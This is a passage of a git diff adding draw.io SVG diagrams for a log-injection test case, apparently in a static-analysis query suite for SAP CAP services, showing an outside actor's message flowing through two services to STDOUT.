+                </foreignObject>
+                <text x="50" y="24" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">OData exposed</text>
+            </switch>
+        </g>
+        <rect x="248" y="170" width="130" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 185px; margin-left: 313px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service1.on("send1")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="313" y="188" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service1.on("send1")</text>
+            </switch>
+        </g>
+        <rect x="453" y="140" width="235" height="160" rx="8" ry="8" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="473" y="170" width="205" height="110" rx="5.5" ry="5.5" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="617" y="140" width="70" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 155px; margin-left: 652px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="652" y="159" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Service2</text>
+            </switch>
+        </g>
+        <rect x="487" y="80" width="120" height="40" rx="6" ry="6" fill="#0390fc"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="502" y="85" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 100px; margin-left: 547px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">action:
+                                send2</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="547" y="104" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">action: send2</text>
+            </switch>
+        </g>
+        <path d="M 547 120 L 547 193.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 547 198.88 L 543.5 191.88 L 547 193.63 L 550.5 191.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="488" y="200" width="120" height="60" rx="9" ry="9" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 230px; margin-left: 489px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                <font style="font-size: 11px;">messageToPass: String</font>
+                            </div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="234" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">messageToPass: String</text>
+            </switch>
+        </g>
+        <rect x="548" y="170" width="130" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 185px; margin-left: 613px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2.on("send2")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="613" y="188" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service2.on("send2")</text>
+            </switch>
+        </g>
+        <path d="M 548 260 L 548 323.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 548 328.88 L 544.5 321.88 L 548 323.63 L 551.5 321.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="498" y="330" width="100" height="40" rx="6" ry="6" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 350px; margin-left: 499px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                STDOUT</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="353" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">STDOUT</text>
+            </switch>
+        </g>
+        <path d="M 243 260 L 243 350 L 418 350 L 418 60 L 547 60 L 547 72.13" fill="none"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke" />
+        <path d="M 547 78.88 L 542.5 69.88 L 547 72.13 L 551.5 69.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="262" y="320" width="140" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 335px; margin-left: 332px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2.send("send2")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="332" y="338" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service2.send("send2")</text>
+            </switch>
+        </g>
+        <rect x="0" y="50" width="100" height="40" rx="6" ry="6" fill="#0390fc"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 70px; margin-left: 1px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">Internal
+                                only</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="50" y="74" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Internal only</text>
+            </switch>
+        </g>
+        <path d="M 243 37 L 243 73.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 243 78.88 L 239.5 71.88 L 243 73.63 L 246.5 71.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="198" y="7" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 22px; margin-left: 243px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">Outside
+                                actor</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="26" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Outside actor</text>
+            </switch>
+        </g>
+    </g>
+    <switch>
+        <g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" />
+        <a transform="translate(0,-5)"
+            xlink:href="https://www.diagrams.net/doc/faq/svg-export-text-problems" target="_blank">
+            <text text-anchor="middle" font-size="10px" x="50%" y="100%">Text is not SVG - cannot
+                display</text>
+        </a>
+    </switch>
+</svg>
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.svg b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.svg
new file mode 100644
index 000000000..aaf9417aa
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.svg
@@ -0,0 +1,340 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"
+    width="689px" viewBox="-0.5 -0.5 689 371"
+    content="&lt;mxfile&gt;&lt;diagram id=&quot;8rw6_X1oGD0vQjmQSmuI&quot; name=&quot;Page-1&quot;&gt;&lt;mxGraphModel dx=&quot;577&quot; dy=&quot;371&quot; grid=&quot;1&quot; gridSize=&quot;10&quot; guides=&quot;1&quot; tooltips=&quot;1&quot; connect=&quot;1&quot; arrows=&quot;1&quot; fold=&quot;1&quot; page=&quot;1&quot; pageScale=&quot;1&quot; pageWidth=&quot;850&quot; pageHeight=&quot;1100&quot; math=&quot;0&quot; shadow=&quot;0&quot;&gt;&lt;root&gt;&lt;mxCell id=&quot;0&quot;/&gt;&lt;mxCell id=&quot;1&quot; parent=&quot;0&quot;/&gt;&lt;mxCell id=&quot;3&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;168&quot; y=&quot;170&quot; width=&quot;240&quot; height=&quot;160&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;5&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;188&quot; y=&quot;200&quot; width=&quot;210&quot; height=&quot;110&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;6&quot; value=&quot;Service1&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;338&quot; y=&quot;170&quot; width=&quot;70&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;8&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#fc0356;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;203&quot; y=&quot;110&quot; width=&quot;120&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;7&quot; value=&quot;action: send1&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;218&quot; y=&quot;115&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;10&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;exitX=0.5;exitY=1;exitDx=0;exitDy=0;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;150&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;230&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;11&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 11px;&amp;quot;&amp;gt;messageToPass: String&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;203&quot; y=&quot;230&quot; width=&quot;120&quot; height=&quot;60&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;12&quot; value=&quot;OData exposed&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#fc0356;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;20&quot; y=&quot;30&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;36&quot; value=&quot;&quot; style=&quot;edgeStyle=none;html=1;fontSize=11;&quot; parent=&quot;1&quot; source=&quot;13&quot; target=&quot;11&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry relative=&quot;1&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;13&quot; value=&quot;Service1.on(&amp;quot;send1&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;268&quot; y=&quot;200&quot; width=&quot;130&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;22&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;473&quot; y=&quot;170&quot; width=&quot;235&quot; height=&quot;160&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;23&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;493&quot; y=&quot;200&quot; width=&quot;205&quot; height=&quot;110&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;24&quot; value=&quot;Service2&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;637&quot; y=&quot;170&quot; width=&quot;70&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;25&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#fc0356;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;507&quot; y=&quot;110&quot; width=&quot;120&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;26&quot; value=&quot;action: send2&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;522&quot; y=&quot;115&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;27&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;exitX=0.5;exitY=1;exitDx=0;exitDy=0;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;150&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;230&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;28&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 11px;&amp;quot;&amp;gt;messageToPass: String&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;508&quot; y=&quot;230&quot; width=&quot;120&quot; height=&quot;60&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;29&quot; value=&quot;Service2.on(&amp;quot;send2&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;568&quot; y=&quot;200&quot; width=&quot;130&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;30&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;fontSize=11;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;568&quot; y=&quot;290&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;568&quot; y=&quot;360&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;33&quot; value=&quot;STDOUT&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;518&quot; y=&quot;360&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;34&quot; value=&quot;&quot; style=&quot;edgeStyle=segmentEdgeStyle;endArrow=classic;html=1;curved=0;rounded=0;endSize=8;startSize=8;sourcePerimeterSpacing=0;targetPerimeterSpacing=0;fontSize=11;entryX=0.5;entryY=0;entryDx=0;entryDy=0;exitX=0.5;exitY=1;exitDx=0;exitDy=0;&quot; parent=&quot;1&quot; source=&quot;11&quot; target=&quot;25&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;268&quot; y=&quot;290&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;566&quot; y=&quot;100&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;380&quot;/&gt;&lt;mxPoint x=&quot;438&quot; y=&quot;380&quot;/&gt;&lt;mxPoint x=&quot;438&quot; y=&quot;90&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;90&quot;/&gt;&lt;/Array&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;35&quot; value=&quot;Service2.send(&amp;quot;send2&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;282&quot; y=&quot;350&quot; width=&quot;140&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;RCpADzFrx02nEt8xdn7a-36&quot; value=&quot;Internal only&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#0390fc;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;20&quot; y=&quot;80&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;37&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; edge=&quot;1&quot; parent=&quot;1&quot; source=&quot;38&quot; target=&quot;8&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;70&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;360&quot; y=&quot;60&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;38&quot; value=&quot;Outside actor&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; vertex=&quot;1&quot; parent=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;218&quot; y=&quot;37&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;39&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; edge=&quot;1&quot; parent=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;60&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;110&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;40&quot; value=&quot;Outside actor&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; vertex=&quot;1&quot; parent=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;523&quot; y=&quot;35&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;/root&gt;&lt;/mxGraphModel&gt;&lt;/diagram&gt;&lt;/mxfile&gt;"
+    onclick="(function(svg){var src=window.event.target||window.event.srcElement;while (src!=null&amp;&amp;src.nodeName.toLowerCase()!='a'){src=src.parentNode;}if(src==null){if(svg.wnd!=null&amp;&amp;!svg.wnd.closed){svg.wnd.focus();}else{var r=function(evt){if(evt.data=='ready'&amp;&amp;evt.source==svg.wnd){svg.wnd.postMessage(decodeURIComponent(svg.getAttribute('content')),'*');window.removeEventListener('message',r);}};window.addEventListener('message',r);svg.wnd=window.open('https://viewer.diagrams.net/?client=1&amp;page=0&amp;edit=_blank');}}})(this);"
+    style="cursor:pointer;max-width:100%;max-height:371px;">
+    <defs />
+    <g>
+        <rect x="148" y="140" width="240" height="160" rx="8" ry="8" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="168" y="170" width="210" height="110" rx="5.5" ry="5.5" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="318" y="140" width="70" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 155px; margin-left: 353px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service1</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="353" y="159" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Service1</text>
+            </switch>
+        </g>
+        <rect x="183" y="80" width="120" height="40" rx="6" ry="6" fill="#fc0356"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="198" y="85" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 100px; margin-left: 243px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">action:
+                                send1</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="104" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">action: send1</text>
+            </switch>
+        </g>
+        <path d="M 243 120 L 243 193.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 243 198.88 L 239.5 191.88 L 243 193.63 L 246.5 191.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="183" y="200" width="120" height="60" rx="9" ry="9" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
